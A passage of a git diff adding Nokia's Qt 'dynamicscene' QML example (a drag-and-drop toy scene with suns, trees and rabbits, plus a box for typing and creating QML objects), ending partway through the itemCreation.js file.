+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/toys/dynamicscene/main.cpp b/examples/declarative/toys/dynamicscene/main.cpp
new file mode 100644
index 00000000..90642197
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/dynamicscene/dynamicscene.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/Button.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/Button.qml
new file mode 100644
index 00000000..b8f16bbe
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/Button.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property variant text
+ signal clicked
+
+ height: text.height + 10; width: text.width + 20
+ border.width: 1
+ radius: 4
+ smooth: true
+
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: !mouseArea.pressed ? activePalette.light : activePalette.button
+ }
+ GradientStop {
+ position: 1.0
+ color: !mouseArea.pressed ? activePalette.button : activePalette.dark
+ }
+ }
+
+ SystemPalette { id: activePalette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: container.clicked()
+ }
+
+ Text {
+ id: text
+ anchors.centerIn:parent
+ font.pointSize: 10
+ text: parent.text
+ color: activePalette.buttonText
+ }
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/GenericSceneItem.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/GenericSceneItem.qml
new file mode 100644
index 00000000..9940b269
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/GenericSceneItem.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ property bool created: false
+ property string image
+
+ source: image
+
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/PaletteItem.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/PaletteItem.qml
new file mode 100644
index 00000000..62da8784
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/PaletteItem.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "itemCreation.js" as Code
+
+Image {
+ id: paletteItem
+
+ property string componentFile
+ property string image
+
+ source: image
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: Code.startDrag(mouse);
+ onPositionChanged: Code.continueDrag(mouse);
+ onReleased: Code.endDrag(mouse);
+ }
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/PerspectiveItem.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/PerspectiveItem.qml
new file mode 100644
index 00000000..b811724f
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/PerspectiveItem.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: rootItem
+
+ property bool created: false
+ property string image
+
+ property double scaledBottom: y + (height + height*scale) / 2
+ property bool onLand: scaledBottom > window.height / 2
+
+ source: image
+ opacity: onLand ? 1 : 0.25
+ scale: Math.max((y + height - 250) * 0.01, 0.3)
+ smooth: true
+
+ onCreatedChanged: {
+ if (created && !onLand)
+ rootItem.destroy();
+ else
+ z = scaledBottom;
+ }
+
+ onYChanged: z = scaledBottom;
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/Sun.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/Sun.qml
new file mode 100644
index 00000000..b0856278
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/Sun.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: sun
+
+ property bool created: false
+ property string image: "../images/sun.png"
+
+ source: image
+
+ // once item is created, start moving offscreen
+ NumberAnimation on y {
+ to: window.height / 2
+ running: created
+ onRunningChanged: {
+ if (running)
+ duration = (window.height - sun.y) * 10;
+ else
+ state = "OffScreen"
+ }
+ }
+
+ states: State {
+ name: "OffScreen"
+ StateChangeScript {
+ script: { sun.created = false; sun.destroy() }
+ }
+ }
+
+ onCreatedChanged: {
+ if (created) {
+ sun.z = 1; // above the sky but below the ground layer
+ window.activeSuns++;
+ } else {
+ window.activeSuns--;
+ }
+ }
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/qml/dynamicscene/dynamicscene.qml
new file mode 100644
index 00000000..cf15415a
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/dynamicscene.qml
@@ -0,0 +1,222 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item {
+ id: window
+
+ property int activeSuns: 0
+
+ //This is a desktop-sized example
+ width: 800; height: 480
+
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: window.focus = false;
+ }
+
+ //This is the message box that pops up when there's an error
+ Rectangle {
+ id: dialog
+
+ opacity: 0
+ anchors.centerIn: parent
+ width: dialogText.width + 6; height: dialogText.height + 6
+ border.color: 'black'
+ color: 'lightsteelblue'
+ z: 65535 //Arbitrary number chosen to be above all the items, including the scaled perspective ones.
+
+ function show(str){
+ dialogText.text = str;
+ dialogAnim.start();
+ }
+
+ Text {
+ id: dialogText
+ x: 3; y: 3
+ font.pixelSize: 14
+ }
+
+ SequentialAnimation {
+ id: dialogAnim
+ NumberAnimation { target: dialog; property:"opacity"; to: 1; duration: 1000 }
+ PauseAnimation { duration: 5000 }
+ NumberAnimation { target: dialog; property:"opacity"; to: 0; duration: 1000 }
+ }
+ }
+
+ // sky
+ Rectangle {
+ id: sky
+ anchors { left: parent.left; top: parent.top; right: toolbox.right; bottom: parent.verticalCenter }
+ gradient: Gradient {
+ GradientStop { id: gradientStopA; position: 0.0; color: "#0E1533" }
+ GradientStop { id: gradientStopB; position: 1.0; color: "#437284" }
+ }
+ }
+
+ // stars (when there's no sun)
+ Particles {
+ id: stars
+ x: 0; y: 0; width: parent.width; height: parent.height / 2
+ source: "images/star.png"
+ angleDeviation: 360
+ velocity: 0; velocityDeviation: 0
+ count: parent.width / 10
+ fadeInDuration: 2800
+ opacity: 1
+ }
+
+ // ground
+ Rectangle {
+ id: ground
+ z: 2 // just above the sun so that the sun can set behind it
+ anchors { left: parent.left; top: parent.verticalCenter; right: toolbox.left; bottom: parent.bottom }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "ForestGreen" }
+ GradientStop { position: 1.0; color: "DarkGreen" }
+ }
+ }
+
+ SystemPalette { id: activePalette }
+
+ // right-hand panel
+ Rectangle {
+ id: toolbox
+
+ width: 380
+ color: activePalette.window
+ anchors { right: parent.right; top: parent.top; bottom: parent.bottom }
+
+ Column {
+ anchors.centerIn: parent
+ spacing: 8
+
+ Text { text: "Drag an item into the scene." }
+
+ Rectangle {
+ width: palette.width + 10; height: palette.height + 10
+ border.color: "black"
+
+ Row {
+ id: palette
+ anchors.centerIn: parent
+ spacing: 8
+
+ PaletteItem {
+ anchors.verticalCenter: parent.verticalCenter
+ componentFile: "Sun.qml"
+ image: "images/sun.png"
+ }
+ PaletteItem {
+ anchors.verticalCenter: parent.verticalCenter
+ componentFile: "GenericSceneItem.qml"
+ image: "images/moon.png"
+ }
+ PaletteItem {
+ anchors.verticalCenter: parent.verticalCenter
+ componentFile: "PerspectiveItem.qml"
+ image: "images/tree_s.png"
+ }
+ PaletteItem {
+ anchors.verticalCenter: parent.verticalCenter
+ componentFile: "PerspectiveItem.qml"
+ image: "images/rabbit_brown.png"
+ }
+ PaletteItem {
+ anchors.verticalCenter: parent.verticalCenter
+ componentFile: "PerspectiveItem.qml"
+ image: "images/rabbit_bw.png"
+ }
+ }
+ }
+
+ Text { text: "Active Suns: " + activeSuns }
+
+ Rectangle { width: parent.width; height: 1; color: "black" }
+
+ Text { text: "Arbitrary QML:" }
+
+ Rectangle {
+ width: 360; height: 240
+
+ TextEdit {
+ id: qmlText
+ anchors.fill: parent; anchors.margins: 5
+ readOnly: false
+ font.pixelSize: 14
+ wrapMode: TextEdit.WordWrap
+
+ text: "import QtQuick 1.0\nImage {\n id: smile\n x: 360 * Math.random()\n y: 180 * Math.random() \n source: 'images/face-smile.png'\n NumberAnimation on opacity { \n to: 0; duration: 1500\n }\n Component.onCompleted: smile.destroy(1500);\n}"
+ }
+ }
+
+ Button {
+ text: "Create"
+ onClicked: {
+ try {
+ Qt.createQmlObject(qmlText.text, window, 'CustomObject');
+ } catch(err) {
+ dialog.show('Error on line ' + err.qmlErrors[0].lineNumber + '\n' + err.qmlErrors[0].message);
+ }
+ }
+ }
+ }
+ }
+
+ //Day state, for when a sun is added to the scene
+ states: State {
+ name: "Day"
+ when: window.activeSuns > 0
+
+ PropertyChanges { target: gradientStopA; color: "DeepSkyBlue" }
+ PropertyChanges { target: gradientStopB; color: "SkyBlue" }
+ PropertyChanges { target: stars; opacity: 0 }
+ }
+
+ transitions: Transition {
+ PropertyAnimation { duration: 3000 }
+ ColorAnimation { duration: 3000 }
+ }
+
+}
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/NOTE b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/NOTE
new file mode 100644
index 00000000..fcd87f91
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/NOTE
@@ -0,0 +1 @@
+Images (except star.png) are from the KDE project.
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/face-smile.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/face-smile.png
new file mode 100644
index 00000000..3d66d725
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/face-smile.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/moon.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/moon.png
new file mode 100644
index 00000000..1c0d6066
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/moon.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_brown.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_brown.png
new file mode 100644
index 00000000..ebfdeed3
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_brown.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_bw.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_bw.png
new file mode 100644
index 00000000..7bff9b92
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_bw.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/star.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/star.png
new file mode 100644
index 00000000..27ef9242
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/star.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/sun.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/sun.png
new file mode 100644
index 00000000..7713ca5c
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/sun.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/tree_s.png b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/tree_s.png
new file mode 100644
index 00000000..6eac35a7
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/images/tree_s.png
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/qml/dynamicscene/itemCreation.js b/examples/declarative/toys/dynamicscene/qml/dynamicscene/itemCreation.js
new file mode 100644
index 00000000..4ee74c28
--- /dev/null
+++ b/examples/declarative/toys/dynamicscene/qml/dynamicscene/itemCreation.js
@@ -0,0 +1,62 @@
+var itemComponent = null;
+var draggedItem = null;
+var startingMouse;
+var posnInWindow;
+
+function startDrag(mouse)
+{
+ posnInWindow = paletteItem.mapToItem(window, 0, 0);
+ startingMouse = { x: mouse.x, y: mouse.y }
+ loadComponent();
+}
+
+//Creation is split into two functions due to an asynchronous wait while
+//possible external files are loaded.
+
+function loadComponent() {
+ if (itemComponent != null) { // component has been previously loaded
+ createItem();
+ return;
+ }
+
+ itemComponent = Qt.createComponent(paletteItem.componentFile);
+ if (itemComponent.status == Component.Loading) //Depending on the content, it can be ready or error immediately
+ component.statusChanged.connect(createItem);
+ else
+ createItem();
+}
+
+function createItem() {
+ if (itemComponent.status == Component.Ready && draggedItem == null) {
+ draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3});
